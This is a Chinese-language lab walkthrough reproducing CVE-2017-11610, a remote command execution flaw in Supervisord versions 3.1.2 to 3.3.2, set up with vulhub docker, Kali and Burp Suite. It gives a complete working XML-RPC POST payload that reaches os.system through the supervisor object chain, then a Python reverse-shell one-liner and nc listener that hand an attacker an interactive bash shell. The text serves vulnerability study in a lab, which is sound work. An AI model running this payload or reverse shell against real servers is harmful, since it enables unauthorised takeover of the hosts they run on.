一、漏洞描述
Supervisord是一款用Python語言開發的管理后台應用(服務)的工具,方便運維人員使用圖形化界面進行管理。近期,Supervisord曝出了一個需認證的遠程命令執行漏洞(CVE-2017-11610)。通過POST請求向Supervisord管理界面提交惡意數據,可以獲取服務器操作權限,帶來嚴重的安全風險。
影響版本
Supervisord 3.1.2 <= Version <= 3.3.2
二、漏洞環境搭建
需要准備的工具如下:
1.docker+vulhub漏洞庫
2.kali虛擬機
3.靶機Ubuntu18.04虛擬機(其他也可以)
4.Burpsuite
打開Ubuntu虛擬機,有docker環境和vulhub漏洞庫的話就直接進入環境,沒有的話先安裝docker和下載vulhub漏洞庫(網上教程很多,這里就不多介紹了)
root@admin666-virtual-machine:~/vulhub/supervisor/CVE-2017-11610#
執行命令 docker-compose up -d
root@admin666-virtual-machine:~/vulhub/supervisor/CVE-2017-11610# docker-compose up -d
等環境搭建完成后,可以訪問 http://your-ip:9001 出現如下頁面證明搭建成功!

三、漏洞利用
訪問http://your-ip:9001,然后用Burpsuite代理工具抓包,將抓到的主頁包放到Repeater里,直接將payload放入數據包中重放即可復現成功!

payload如下:
將payload中的IP換成自己的即可
POST /RPC2 HTTP/1.1
Host: 192.168.124.129:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

可以看到返回200,進入docker容器查看是否創建成功
docker exec -it 容器ID /bin/bash


成功創建
反彈shell,將payload中的命令替換為如下命令即可反彈shell,這里使用kali虛擬機來反彈shell,用nc監聽反彈端口,命令如下:
nc -lvp 2333
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"


反彈成功
四、關閉docker環境
docker-compose down

